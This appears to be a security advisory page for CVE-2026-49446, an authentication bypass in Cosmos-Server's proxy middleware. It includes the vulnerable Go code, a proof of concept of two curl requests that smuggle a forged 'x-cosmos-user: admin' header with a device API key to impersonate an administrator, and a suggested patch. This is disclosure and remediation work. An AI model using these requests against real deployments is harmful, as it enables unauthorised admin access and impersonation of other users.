Kestrel
대시보드로 돌아가기
CVE-2026-49446MEDIUM· 6.1GHSA대응게시일: 2026. 07. 28.수정일: 2026. 07. 28.

Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.1medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터인접
공격 복잡도낮음
필요 권한높음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.16.1MODERATE
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

상세 설명

Summary

The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.

Preconditions

  • Cosmos is deployed with Constellation enabled and at least one device enrolled.
  • Attacker holds a valid x-cstln-auth API key for an enrolled device.
  • Attacker reaches Cosmos over the Constellation Nebula tunnel.
  • Target proxy route has AuthEnabled=true; upstream trusts the x-cosmos-user forward-auth header.

Details

text
1// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
2func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
3 return func(next http.Handler) http.Handler {
4 return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
5 enabled := route.AuthEnabled
6 adminOnly := route.AdminOnly
7
8 // bypass auth if from Constellation tunnel
9 if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) { // attacker-set header opens the branch
10 remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
11 isConstIP := constellation.IsConstellationIP(remoteAddr)
12 isConstTokenValid := constellation.CheckConstellationToken(r) == nil
13
14 if isConstIP && isConstTokenValid {
15 utils.Debug("Bypassing auth for Constellation tunnel")
16 r.Header.Del("x-cstln-auth")
17 next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker
18 return
19 }
20 }
21
22 r.Header.Del("x-cosmos-user") // only runs on the fall-through path
23 r.Header.Del("x-cosmos-role")
24 r.Header.Del("x-cosmos-user-role")
25 r.Header.Del("x-cosmos-mfa")
26 r.Header.Del("x-cstln-auth")
27 // ... JWT path runs here ...
28
29 if enabled && adminOnly {
30 if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass
31 return
32 }
33 }
34 next.ServeHTTP(w, r)
35 })
36 }
37}

The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.

The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.

Proof of concept

Environment used to reproduce:

  • Version: master branch, audited 2026-05-13 (module github.com/azukaar/cosmos-server)
  • Deployment: docker run azukaar/cosmos-server:latest (or the docker-compose.yml from the project README)
  • Setup steps:
    1. Complete initial setup via /cosmos-ui/; promote the operator account to admin.
    2. Enable Constellation: Settings > Constellation > Create lighthouse.
    3. Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
    4. Configure one proxy route with Host=admin-app.example, Mode=PROXY, Target=http://internal-app:port, AuthEnabled=true, AdminOnly=true. Upstream must trust the x-cosmos-user header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).
    5. Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.
bash
1# 1. Variables - fill in from the steps above
2DEVICE_APIKEY="<APIKey shown when admin created the device>"
3PROXY_ROUTE="https://admin-app.example"
4
5# 2. Single request that bypasses Cosmos auth and asserts admin to the backend
6curl -k \
7 -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
8 -H "x-cosmos-user: admin" \
9 -H "x-cosmos-role: 2" \
10 -H "x-cosmos-user-role: 2" \
11 -H "x-cosmos-mfa: 0" \
12 "$PROXY_ROUTE/" -i
13
14# Expected: HTTP 200 with the admin-gated backend rendering as user "admin".
15# No JWT cookie was sent; no admin Cosmos account is held by the caller.
16# Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".

A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:

bash
1curl -k \
2 -H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
3 -H "x-cosmos-user: someotheruser" \
4 "$PROXY_ROUTE/" -i
5# Backend renders as "someotheruser"; any per-user data partitioning at the
6# backend is now under attacker control.

Impact

  • AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
  • AuthZ: skips the per-route AdminOnly gate, unlocking admin-only proxied backends.
  • Confidentiality: caller reads every admin-only proxied app as admin from one curl.
  • Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
  • Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented x-cosmos-user header.

Suggestions to fix

This has not been tested - it is illustrative only.

Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.

text
1--- a/src/proxy/routerGen.go
2+++ b/src/proxy/routerGen.go
3@@ -46,15 +46,17 @@
4 func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
5 return func(next http.Handler) http.Handler {
6 return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
7+ // Always strip identity headers before any decision based on them.
8+ r.Header.Del("x-cosmos-user")
9+ r.Header.Del("x-cosmos-role")
10+ r.Header.Del("x-cosmos-user-role")
11+ r.Header.Del("x-cosmos-mfa")
12+
13 enabled := route.AuthEnabled
14 adminOnly := route.AdminOnly
15
16- // bypass auth if from Constellation tunnel
17- if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
18+ // Constellation bypass only applies to non-auth routes; on auth-required
19+ // routes the JWT path is the sole authority that may set x-cosmos-user.
20+ if !enabled {
21 remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
22 isConstIP := constellation.IsConstellationIP(remoteAddr)
23 isConstTokenValid := constellation.CheckConstellationToken(r) == nil
24@@ -65,12 +67,7 @@
25 return
26 }
27 }
28-
29- r.Header.Del("x-cosmos-user")
30- r.Header.Del("x-cosmos-role")
31- r.Header.Del("x-cosmos-user-role")
32- r.Header.Del("x-cosmos-mfa")
33 r.Header.Del("x-cstln-auth")

Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over <x-cosmos-user, request-id, timestamp> injected by the proxy and verified by the backend.

Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") == "" whenever route.AuthEnabled == true.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.